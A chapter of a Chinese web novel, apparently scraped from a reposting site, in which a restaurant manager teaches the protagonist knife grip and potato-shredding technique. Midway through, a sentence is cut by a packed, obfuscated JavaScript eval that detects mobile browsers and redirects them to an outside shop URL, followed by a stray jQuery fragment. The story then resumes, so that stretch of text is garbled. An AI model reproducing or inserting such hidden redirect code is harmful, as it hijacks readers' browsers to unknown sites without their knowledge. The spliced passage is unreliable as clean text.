【哈哈~本章突破百万字，感谢各位小伙伴们一如既往的支持~】


    “令尊的孝道，贯彻得真彻底.”


    孙博强恍然大悟：“我可算明白，为什么你会找我学厨了


    既然如此，我一定好好教你！”


    他挺直腰背，侧身对砧板，左手轻抚刀身。


    这一刻，


    方力溯能感觉到，这位总经理的气场变了，


    他也认真了起来.


    “方先生，看我握刀。”


    只见孙博强将刀柄后端，抵在自己手掌根部：


    “发力是从这里开始的，得抵实了。”


    随后，他的手指依次放好：


    “拇指下压往里收，食指来决定刀面和砧板的角度。


    中指到小指只虚握着刀柄，不要使劲。”


    方力溯按照孙博强的方法操作。


    孙博强则捏了捏他的右手小臂：


    “后三指和手掌放松，不然手腕就僵了，你看看我的。”


    方力溯探了下孙博强的小臂，恍然大悟。


    “感觉到了吗？只有手掌根和手腕，这几条筋是绷紧的，


    但手臂和胳膊是放松的，


    这叫‘松而不垮，紧而不僵’。”


    “力从肩膀发出来，通过放松的手臂传到手腕，


    这样最省劲，也传得最透。”


    孙博强认真地接着道：“这就是专业厨师，和业余爱好者的分水岭。”


    “原来如此.”


    【你的握刀技巧提升】


    “再来是左手，”


    孙博强将左手五指缓缓弯曲：


    “指尖必须全部缩回来，突出指关节。”


    说完，他左手拿着一颗洗干净的土豆，缓缓旋转，


    右手持片肉刀，以极低的角度切入，


    皮层浅得只破了皮，和果肉持续分离，


    一眨眼的功夫整颗土豆只剩下光滑的表面


    “那么大一把刀竟然这么丝滑.”


    方力溯眼前一亮


    上次看到对食材处理得如此极致的还是出自姜大叔之手。


    他不禁感叹道：“这得是怎样的掌控力


    才能在不伤肉的情况下把皮刮起来？”


    “什么.”孙博强问道：“你问我土豆皮要不要装起来？


    不


    方力溯：“.”


    孙博强清了清嗓说道：


    “这招对你现在来说太难等基本功扎实了再说


    接下来我给你正式演示怎么切土豆丝。”


    孙博强的左手握成猫爪按在土豆上


    右手持刀手腕落下。


    “嚓”的一声轻响


    第一片极薄的土豆片应声贴在刀面上


    “听声音‘嚓’声清脆短暂


    说明刀刃瞬间切开细胞壁水分损失最少。


    如果你听到‘撕拉’声或者闷响


    那就是在锯它食材口感就毁了。”


    “细胞壁都出来了”


    方力溯好奇道：“话说孙总你以前不是不爱学习么？”


    “没办法被老爷子逼的”


    孙博强无奈地摇摇头：“想进厨房我得先写完作业


    但是上课没好好听作业就写不快


    我只能开始认真听讲


    后来一般作业都能在学校写完回家就能进厨房了.”


    方力溯一愣：“还有这种操作.”


    “对”孙博强点点头：


    “而且书读多了就发现很多道理是通的


    比如我们刚刚说的握刀发力的基础用的就是杠杆原理


    化学的酯化反应不就是调味的核心么？


    把课堂当菜谱看一


    下子就通了。”


    他看向方力溯，继续道：


    “你各科成绩那么优秀，只要你想学，肯定比一般人掌握得快，


    虽然你现在的水平，暂时也还是太奶级的”


    “emmm谢谢你的鼓励”


    孙博强握紧刀柄，神情再次变得严肃：


    “那么接下来，看好了”


    “嚓嚓嚓嚓嚓——”


    下一秒，声音连成了线


    孙博强的右手手腕，化作一道看不清的虚影，


    每一刀下去，便是土豆光滑如镜的切面，


    片片都薄如蝉翼，近乎透明。


    “好强.”


    这一幕，不禁让方力溯大开眼界。


    “指关节就是尺，它退多少，这一片就切多厚。”


    孙博强不需要低头看刀，


    一边下刀，一边从容地跟方力溯讲解。


    而他每一刀的厚度，还能保


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078205|183476||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    持跟机器切出来的一样.


    眨眼间，土豆已经变成了一叠薄片。


    他手腕一翻，将薄片拢在一起，


    换了个角度，再次下刀


    全程不过50秒，


    一颗完整的土豆被切成了一盘细丝。


    根根分明，细如发丝.


    方力溯惊奇地喊道：“好厉害孙总，我想学这个！！”


    孙博强拿起一颗新土豆，去好了皮：“你试试。”


    方力溯调整了下呼吸，开始尝试。


    “大臂贴住身体，肘部自然下垂，别往外支。”


    孙博强细心指点道：“拇指往前半厘米对，捏住这里，


    食指放松，你绷太紧了


    后三指松一点，再松，很好！”


    【你的握刀技巧提升】


    在孙博强的指点下，方力溯摆正了姿势，


    他深吸口气，开始下刀


    因为担心切得太厚他小心翼翼


    岂料刀刃在土豆一滑斜着擦过表面只削掉一小片皮。


    方力溯愣了一下重新下刀。


    这回他右手加大力道


    只听一声闷响他切下了一块厚片而且横截面粗糙。


    “emmm”方力溯不禁皱起眉头。


    “别急”孙博强握住方力溯的手腕：


    “关键不在力道而是轨迹。”


    说着他接过刀细心演示。


    方力溯认真观察


    只看见孙博强的手腕垂直提起落下时干净利落。


    “看我手腕带动刀刃运动的路径是直的


    你刚才用了太多向前的推力和横向的调整了。”


    他把土豆和刀交还给方力溯。


    方力溯继续尝试但成品总是不如人意。


    他忍不住问道：“一般人需要多长时间才能把土豆丝切到你这样的水平？”


    “我的水平？”


    孙博强认真地应道：


    “如果每天能专心练上三四个小时一两个月才能有大体不错的姿势.


    完全没下过厨的得七八分钟才能切好土豆丝


    经常做饭的时间能减半


    要想连削带切在一分钟之内完成达到我这样


    至少还得再专攻一年以上.”


    他想了想：“这么算起来得等到你上大学以后了。”